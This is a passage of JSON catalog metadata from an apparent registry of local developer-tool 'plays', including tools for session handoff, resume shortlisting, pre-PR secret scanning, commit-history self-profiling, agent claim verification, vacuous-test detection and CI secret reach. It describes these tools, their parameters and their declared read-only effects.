json)."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a0a680025f02aa958c8490e6dd54084ce3c1262ab882f98ea7c31d4466480e74","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/vickysharma-prog/context-and-token-saver@0.4.0","reference":"vickysharma-prog/context-and-token-saver@0.4.0","uri":"https://play.modiqo.ai/vickysharma-prog/context-and-token-saver@0.4.0","manifest_uri":"https://play.modiqo.ai/vickysharma-prog/context-and-token-saver@0.4.0","name":"context-and-token-saver","title":"context-and-token-saver","description":"You end a session knowing your whole project and start the next one knowing nothing, so this saves your entire session context without spending a single token and gives you the exact prompt, plus a full report, to start the next one right where you left off. It reads your git history and your imports, then writes a log of what changed, a map of how your code actually connects, and the handoff prompt itself into your project when you pass write=true. Everything runs locally in about half a second, so a complete context rebuild costs zero tokens. Reads Python, JavaScript, TypeScript and Go, and on the project it was built for it named the same two dead modules the author had spent an evening hunting by hand.","owner":{"kind":"user","slug":"vickysharma-prog"},"registry_organization":"vickysharma-prog","tags":["domain-engineering","developer-workflow","session-context","context-handoff","session-summary","progress-report","architecture-map","import-graph","dead-code","legacy-modules","git-history","incremental","token-efficient","claude-code","ai-pair-programming","audience-developers","audience-maintainers","audience-solo-developers","effect-declared-writes","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"vickysharma-prog","version":"0.4.0","published_at":"2026-09-06T10:45:38.039521+00:00","visibility":"public","quality_score":1,"size_bytes":20894,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["emit","gather"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Repository to read. Must be ABSOLUTE, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would read the wrong tree and report it confidently","example":"/home/you/project"},{"name":"write","type":"boolean","required":false,"default":"false","description":"Write the three artifacts into root. Off by default, so a first run on an unfamiliar repository prints everything and changes nothing","example":"true"},{"name":"context_file","type":"string","required":false,"default":"SESSION_CONTEXT.md","description":"Name of the running log that carries the incremental marker. Point it at an existing notes file to keep the history in one place","example":"docs/PROJECT_STATE.md"},{"name":"baseline_window","type":"integer","required":false,"default":"20","description":"On a first run there is no marker and so no session boundary. This many recent commits are summarised as a baseline instead, and the same range bounds the diff so the two can never disagree. At least 1","example":"50"},{"name":"max_edges","type":"integer","required":false,"default":"40","description":"How many edges the diagram draws. Counts always cover every edge; only the picture is capped, because a diagram nobody can read is worse than a number","example":"80"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6be4deee3ae2fc73f312ea81f9d91402961bac74d5a1891362c6ac3e9c33b974","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/andrew-kevin-007/project-shortlist@0.1.6","reference":"andrew-kevin-007/project-shortlist@0.1.6","uri":"https://play.modiqo.ai/andrew-kevin-007/project-shortlist@0.1.6","manifest_uri":"https://play.modiqo.ai/andrew-kevin-007/project-shortlist@0.1.6","name":"project-shortlist","title":"project-shortlist","description":"Which of your projects actually deserve a place on your resume, and what should the bullets say? Judges every repository on a GitHub account against a printed evidence rubric - is it deployed, does it have a README that explains it, tests, CI, a real dependency set, sustained work rather than a one-day scaffold - and returns a ranked shortlist with a verdict per project. Projects ALREADY named on your resume are judged by the same rubric as the rest, because being listed is not evidence of being worth listing, so a thin project already on the page is told to go. Every score is the sum of named signals and every signal prints the evidence that earned it, so the total can be recomputed by hand; there is no generated score anywhere. Pass role= to rank for a track or a job title. Then confirm the three or four you want and re-run with deep_dive= to get, for each, an XYZ resume bullet assembled ONLY from measured facts: X quoted from the README, Z quoted from the dependency manifest, and Y left as an explicit printed gap when the repository contains no measured outcome, because inventing a number is the one thing a resume tool must never do. Bullets avoid em dashes. Read-only, writes nothing, needs no credentials; GITHUB_TOKEN only raises the rate limit. The GitHub API allows 60 unauthenticated requests an hour, so evidence spending is bounded, the bound is a parameter, and what went unexamined is always named. Needs python3; pdftotext enables PDF resume reading. Run it with demo=true to see the whole thing work on a bundled sample resume and a public account, with no setup at all.","owner":{"kind":"user","slug":"andrew-kevin-007"},"registry_organization":"andrew-kevin-007","tags":["audience-developers","effect-read-only","domain-career","job-resume-maintenance","github","resume"],"primary_domain":"domain-career","author":"andrew-kevin-007","version":"0.1.6","published_at":"2026-09-06T10:26:28.705499+00:00","visibility":"public","quality_score":1,"size_bytes":53463,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":3,"names":["match_mentions","resolve_resume","scan_and_score"]},"parameters":[{"name":"github_user","type":"string","required":false,"description":"GitHub handle to scan, e.g. octocat. A full profile URL works too."},{"name":"resume_path","type":"string","required":false,"description":"Absolute path to a resume file, or a folder of resumes (newest non-cover-letter wins). On Windows a C:\\ path is translated to its WSL /mnt form automatically when it resolves."},{"name":"role","type":"string","required":false,"description":"Rank for a track: fullstack, backend, frontend, ml, devops, mobile, data. Job titles work too and are case-insensitive, e.g. Software Developer."},{"name":"deep_dive","type":"string","required":false,"description":"Comma separated repository names to analyse in depth for XYZ bullets, e.g. Talos,AUCTUS,quorum. Confirm three or four after reading the shortlist."},{"name":"demo","type":"string","required":false,"description":"Set to true to run with no setup at all, against a bundled sample resume and a public GitHub account. Use it once to see the shape of the answer, then pass your own github_user and resume_path."},{"name":"include_forks","type":"string","required":false,"description":"Set to true to include forked repositories (default false)"},{"name":"evidence_budget","type":"string","required":false,"description":"Maximum GitHub API calls this run may spend (default 24, max 50). Unauthenticated GitHub allows 60 per hour."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:25f3847ddde80af4f8bae60b58364e111bfa6a2be48a8b2003fbcf002e1b4f57","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/darexai/git-preflight@0.1.1","reference":"darexai/git-preflight@0.1.1","uri":"https://play.modiqo.ai/darexai/git-preflight@0.1.1","manifest_uri":"https://play.modiqo.ai/darexai/git-preflight@0.1.1","name":"git-preflight","title":"git-preflight","description":"Pre-PR safety radar and diff risk assessment: detects leaked secrets, leftover debug statements, merge conflict markers, blast radius, test gaps, and generates copy-paste PR markdown. Offline, zero credentials, zero network.","owner":{"kind":"user","slug":"darexai"},"registry_organization":"darexai","tags":["git","pr","code-review","security","devops","offline"],"primary_domain":"domain-uncategorized","author":"23wj1a7243","version":"0.1.1","published_at":"2026-09-06T10:09:30.950805+00:00","visibility":"public","quality_score":1,"size_bytes":16419,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["audit","selfcheck"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Path to git work tree to audit. Defaults to current working directory."},{"name":"base_branch","type":"string","required":false,"default":"auto","description":"Target base branch for comparison (e.g. main, master, or auto-detect)."},{"name":"strict_secrets","type":"string","required":false,"default":"yes","description":"Block immediately on detected secrets or private keys (yes/no)."},{"name":"format","type":"string","required":false,"default":"markdown","description":"Output presentation style (markdown, text, json)."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2b56a57d60757040a120d8d4e316c3b92a13b708cce0fb7757d0f8856f8d0f48","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/akshatgupta/commit-exhaust@0.2.2","reference":"akshatgupta/commit-exhaust@0.2.2","uri":"https://play.modiqo.ai/akshatgupta/commit-exhaust@0.2.2","manifest_uri":"https://play.modiqo.ai/akshatgupta/commit-exhaust@0.2.2","name":"commit-exhaust","title":"commit-exhaust","description":"What a stranger can work out about you from your commit history, using nothing but the history. Runs cold with no arguments on a bundled synthetic history, so you can read a full report before pointing it at yourself; then root=$PWD for the real thing. Every commit stores your own clock and your own UTC offset, so the log knows what time it was where you were sitting. Out of that comes the timezone you work in and every other one you have committed from, the hours you really keep, and how much lands at the weekend. Out of the addresses you signed with comes something sharper: several mailboxes signing with one name join up, and the first and last commit under each employer domain is an employment timeline you never wrote down, overlaps included. It also finds your Co-authored-by colleagues, the commits you wrote that somebody else applied, your longest gap, and the messages that admit the bad nights. Then it compares your most recent stretch against your whole history and tells you what has moved, which is the part worth coming back to: the window travels with you, so the answer differs every time you run it. It reports on one identity only, the one in this machine's git config user.email. There is deliberately no parameter aiming it at anyone else, because the same arithmetic pointed at a stranger is surveillance rather than a mirror. redact=true masks every address for screenshots; other people's are masked either way. Needs git and python3. No network call at any point, nothing leaves the machine, and no file in the repository is opened, only its log.","owner":{"kind":"user","slug":"akshatgupta"},"registry_organization":"akshatgupta","tags":["git","privacy","history","identity","offline","effect-read-only"],"primary_domain":"domain-uncategorized","author":"akshatgupta","version":"0.2.2","published_at":"2026-09-06T07:08:50.042517+00:00","visibility":"public","quality_score":1,"size_bytes":20471,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["read_history","analyze_history"]},"parameters":[{"name":"root","type":"string","required":false,"default":"-","description":"A git repository to read. Absolute path, for example root=$PWD. Left unset the Play runs on its bundled synthetic history so you can see the report first.","example":"$PWD"},{"name":"demo","type":"string","required":false,"default":"false","description":"Set true to read the bundled synthetic history even when root is given. Nobody in it is real.","example":"true"},{"name":"redact","type":"string","required":false,"default":"false","description":"Mask the local part of every address so the report can be screenshotted. Other people's addresses are masked either way.","example":"true"},{"name":"max_commits","type":"string","required":false,"default":"20000","description":"Most commits to read out of the log, newest first","example":"20000"},{"name":"include_merges","type":"string","required":false,"default":"0","description":"Set 1 to count merge commits. They are excluded by default because a merge records the time you pressed the button, not the time you did the work.","example":"0"},{"name":"window_days","type":"string","required":false,"default":"90","description":"How long a recent stretch to compare against your whole history, anchored on your last commit rather than on today so an old repository still compares its final stretch against its own baseline.","example":"180"},{"name":"top","type":"string","required":false,"default":"12","description":"Rows to show in each list","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:42396f2524039a0178a79958393ded88e75c18264fdea696a09d45a38cb5a4e1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/midhat/invisible-side-effect-census@0.0.5","reference":"midhat/invisible-side-effect-census@0.0.5","uri":"https://play.modiqo.ai/midhat/invisible-side-effect-census@0.0.5","manifest_uri":"https://play.modiqo.ai/midhat/invisible-side-effect-census@0.0.5","name":"invisible-side-effect-census","title":"invisible-side-effect-census","description":"Snapshots local state before and after a task, then diffs the two states and reports side-effect changes across files, git, ports, processes, and installed packages.","owner":{"kind":"user","slug":"midhat"},"registry_organization":"midhat","tags":["side-effect","census","diagnostics","local-development"],"primary_domain":"domain-uncategorized","author":"Midhatgaji76","version":"0.0.5","published_at":"2026-09-06T06:59:19.369468+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6368,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":4,"names":["settle","run_task","snapshot_after","snapshot_before"]},"parameters":[{"name":"target_dir","type":"string","required":true,"description":"Absolute path to the directory to census for side effects"},{"name":"task_command","type":"string","required":true,"description":"Shell command to run between the BEFORE and AFTER snapshots (approved beforehand)"},{"name":"settle_ms","type":"integer","required":false,"default":750,"description":"Milliseconds to wait after the task command completes before the AFTER snapshot begins, so spawned listeners and processes have time to appear"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5c7c19702adbc8b1a08712d2b1289eca1a53e5d693a3ee3f454a1c82f36d7cfb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/rajdeepkushwaha/what-can-help@0.1.1","reference":"rajdeepkushwaha/what-can-help@0.1.1","uri":"https://play.modiqo.ai/rajdeepkushwaha/what-can-help@0.1.1","manifest_uri":"https://play.modiqo.ai/rajdeepkushwaha/what-can-help@0.1.1","name":"what-can-help","title":"what-can-help","description":"Searching the catalog only helps if you already know what to ask for. This starts from your folder instead: it reads the project, says what is true about it - you have a test suite, here are the files; you keep older release branches; you have work you never committed - and then shows which published plays are about that. Each suggestion says which words matched, so you can judge it yourself, and what it would cost you: whether it declares that it writes to your files, whether it wants a browser or an account, and what you need installed. If a play declares no writes but its own name says commit and push, you are told the two disagree. Words that turn up all over the catalog cannot carry a match, so two plays sharing an ordinary word is not a recommendation. Nothing found is reported as nothing found, and a catalog it could not reach is reported as that rather than as an empty list. Different from rote play search, which answers a question you type, and from playchain, which plans a chain for a goal you give it: this one starts with no question at all. It never runs a play and never ranks by who wrote one. Run it with no settings for a bundled example that needs no network. Needs python3, git and curl.","owner":{"kind":"user","slug":"rajdeepkushwaha"},"registry_organization":"rajdeepkushwaha","tags":["discovery","catalog","recommendations","onboarding","agents"],"primary_domain":"domain-uncategorized","author":"rajdeepkushwaha","version":"0.1.1","published_at":"2026-09-06T03:17:39.350506+00:00","visibility":"public","quality_score":1,"size_bytes":152822,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":3,"names":["scan","match","selfcheck"]},"parameters":[{"name":"root","type":"string","required":false,"default":"demo","description":"Absolute path to the project, or the word demo for the bundled one"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:45df8ac7398ed21fd405b5c5adbe5c9dd130993e031b381b886d3d8cb6c2a565","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/vedang/claim-vs-build@0.1.1","reference":"vedang/claim-vs-build@0.1.1","uri":"https://play.modiqo.ai/vedang/claim-vs-build@0.1.1","manifest_uri":"https://play.modiqo.ai/vedang/claim-vs-build@0.1.1","name":"claim-vs-build","title":"claim-vs-build","description":"Agents hallucinate. This play closes the triangle between what was ASKED, what the agent CLAIMED it built, and what the project actually contains - checked deterministically, no model in the loop. Feed it the original request (ask_text or ask_file) and the agent's completion summary (claim_text or claim_file); it reads the project tree and git diff vs a base revision and scores every checkable claim: file claims (held/contradicted - a claimed file that does not exist is a contradiction), action claims (\"implemented X\" - object tokens searched in diff paths and added lines, NO-EVIDENCE when absent because absence of a fuzzy object is not proof), command claims (\"all tests pass\" - mapped ONLY to commands the project's own manifests declare (npm scripts, Makefile targets, pytest) and executed with a timeout, never agent-invented commands; exit 0 = held, nonzero = contradicted), count claims (honest UNVERIFIABLE in v1). ASK coverage: per-sentence token evidence in the build; MUST sentences (must/should/needs to) with weak evidence are flagged as ASK GAPS even when every claim held - the direction hallucination actually hurts. Verdicts: SHIPPED AS CLAIMED / CLAIMS CONTRADICTED / ASK GAPS / SHIPPED WITH UNPROVEN CLAIMS / CLAIMS UNPROVABLE, each with per-claim evidence pointers. Read-only except bounded execution of repo-declared checks (run_checks=true, disclosed, 180s timeout each, max 4). Tested on real agent sessions from this hackathon. Needs only python3 and git.","owner":{"kind":"user","slug":"vedang"},"registry_organization":"vedang","tags":["domain-agent-operations","job-claim-verification","audience-developers","tool-git","effect-read-only"],"primary_domain":"domain-agent-operations","author":"vedang","version":"0.1.1","published_at":"2026-09-06T02:07:27.862048+00:00","visibility":"public","quality_score":1,"size_bytes":32947,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":3,"names":["brief","validate","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the project directory to verify against","example":"/Users/you/src/my-project"},{"name":"ask_file","type":"string","required":false,"default":"","description":"Path to a text file holding the ORIGINAL request (spec, issue text, prompt). Combine with ask_text if needed. Exactly one of ask_file/ask_text must be non-empty.","example":"/Users/you/src/my-project/TASK.md"},{"name":"ask_text","type":"string","required":false,"default":"","description":"The original request inline (quote it)","example":"add a retry budget to the sync loop and make sure tests pass"},{"name":"claim_file","type":"string","required":false,"default":"","description":"Path to a text file holding the agent''s completion summary","example":"/tmp/agent-summary.txt"},{"name":"claim_text","type":"string","required":false,"default":"","description":"The agent''s completion summary inline","example":"I implemented the retry budget in src/sync.ts and all tests pass"},{"name":"base","type":"string","required":false,"default":"","description":"Git revision to diff against. Leave empty for auto: the default branch when HEAD is a feature branch (so committed agent work is included), HEAD for uncommitted work, or pass a rev explicitly.","example":"HEAD"},{"name":"run_checks","type":"string","required":false,"default":"true","description":"true executes the project's OWN declared test/build/lint commands (max 4, 180s each) to prove command claims; false keeps the play read-only","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5d37db966086faf722b92040526a2f9880a559300b04db9cdfaf94f02c81237f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/vacuous-tests@0.3.3","reference":"lgoyal6/vacuous-tests@0.3.3","uri":"https://play.modiqo.ai/lgoyal6/vacuous-tests@0.3.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/vacuous-tests@0.3.3","name":"vacuous-tests","title":"vacuous-tests","description":"A green suite is only worth what its assertions are worth. These tests run, reliably, and prove nothing. Seven rules, ranked by how much false confidence each one buys rather than by how easy it was to match. A test with no assertion at all is critical when its siblings all assert, because somebody believed that path was covered. A tautological assertion is high: its truth is fixed before the code under test runs. A snapshot test with no committed snapshot is high: the runner WRITES the expectation on the first run and therefore cannot fail it. An unawaited .rejects assertion is high: the test settles before the assertion does, so a rejection reports as a pass. A catch-everything exception test is medium, since it passes on the wrong error too. Every critical and high candidate is then re-opened with the call graph resolved TRANSITIVELY, so a test whose assertion lives two helpers away is taken back rather than shipped. NEVER runs the suite: only open() and ast.parse() touch the files.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","testing-workflows","job-test-quality-audit","tool-static-analysis","effect-read-only","vacuous-tests","no-assertion","tautological-assertion","assert-true","missing-snapshot","assertion-in-a-loop","false-confidence","green-but-proves-nothing","test-quality","coverage-theatre","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.3.3","published_at":"2026-09-06T01:02:41.253298+00:00","visibility":"public","quality_score":1,"size_bytes":43702,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory tree whose test files should be read for assertions that prove nothing. A relative path is refused, because a step runs in rote's own workspace rather than in your shell directory, so a bare dot would scan the wrong tree and then report a clean bill about it.","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for test files","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:05a66b7a5a17e2274280fb29f354e36e9690c51ec161294a2323a8e14e7f3051","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/submission-dossier@0.1.3","reference":"lgoyal6/submission-dossier@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/submission-dossier@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/submission-dossier@0.1.3","name":"submission-dossier","title":"submission-dossier","description":"The submission write-up is due, you have to produce it anyway, and everything in it has to be true. Point this at a repository and it returns a copy-pasteable dossier assembled entirely from what the repository can prove about itself: what it does, quoted from the README rather than paraphrased; what got built in the window, from git, with the real span as distinct days carrying commits rather than the wall-clock difference, which flatters; what runs, resolved against what the repository actually declares, so a README promising `npm run dev` in a tree with no package.json is reported NOT DEFINED; what is tested; every number the docs claim, each marked EVIDENCED with a file and line or UNSUPPORTED; and what is missing. A second stage re-opens the line behind each EVIDENCED claim and can withdraw it - a claimed 100% is not evidenced by a measured 99.6115 - and withdrawals print as prominently as confirmations. Needs python3, bash and git.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-submission-writeup","tool-git","effect-read-only","submission-writeup","hackathon-submission","devpost","project-writeup","what-got-built","commit-span","working-days","test-to-source-ratio","entrypoints","copy-pasteable","demo-prep","audience-hackathon-builders","audience-job-seekers","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:02:19.418139+00:00","visibility":"public","quality_score":1,"size_bytes":60467,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the repository, or to a directory holding several. A relative path is refused, because a step runs in rote's own workspace rather than your shell directory and would read the wrong tree and write a confident dossier about it.","example":"/Users/you/your-repo"},{"name":"since","type":"string","required":false,"default":"","description":"Start of the build window as YYYY-MM-DD, optionally with a T-time. Empty means the whole history. An unparseable bound is refused rather than silently widening the window.","example":"2026-09-01"},{"name":"until","type":"string","required":false,"default":"","description":"End of the build window as YYYY-MM-DD, optionally with a T-time. Empty means up to the newest commit.","example":"2026-09-06"},{"name":"depth","type":"string","required":false,"default":"2","description":"How many directory levels below root to look for repositories. 1 finds root itself when root is a repository.","example":"2"},{"name":"top","type":"string","required":false,"default":"3","description":"How many full dossiers to print before the remaining repositories are listed as a one-line index. Every repository is still analysed and still counted.","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:33b31f172011ced3d78a2b0ee95ed3dd76e6ba11a81bc59cd719a288ddcfd405","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/secret-blast-radius@0.3.5","reference":"lgoyal6/secret-blast-radius@0.3.5","uri":"https://play.modiqo.ai/lgoyal6/secret-blast-radius@0.3.5","manifest_uri":"https://play.modiqo.ai/lgoyal6/secret-blast-radius@0.3.5","name":"secret-blast-radius","title":"secret-blast-radius","description":"A CI secret is scoped by whoever wrote the YAML, and the usual scope is everything. This asks not whether an outsider can get in, but how far each secret you deliberately gave your own CI actually reaches inside your own run. For every secret a workflow mentions it reports the real reach - which jobs, how many steps, which third-party actions can read it - and that per-secret table, not a list of rule hits, is the output. Ranked by reach. A secret in the environment of a step that runs `npm install`, `pip install` or `npx` is critical, because every postinstall and build backend in the tree is arbitrary code from hundreds of authors and it runs with that environment. A secret readable by an action pinned to a movable tag is critical, because its maintainer can change what it does after you approved it. `secrets: inherit` into another repository at a movable ref is critical. A top-level `env:` is high, since every step of every job holds it. Names and reach only, from static YAML.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","security-workflows","job-secret-audit","tool-static-analysis","effect-read-only","ci-secrets","secret-reach","blast-radius","third-party-action","postinstall-hook","npm-install-with-secrets","movable-tag","job-scope","step-scope","github-actions","least-privilege","audience-maintainers","audience-security-engineers","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.3.5","published_at":"2026-09-06T01:01:32.250945+00:00","visibility":"public","quality_score":1,"size_bytes":51220,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree whose GitHub Actions workflow files should be read for secret blast radius. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for repositories holding a .github/workflows 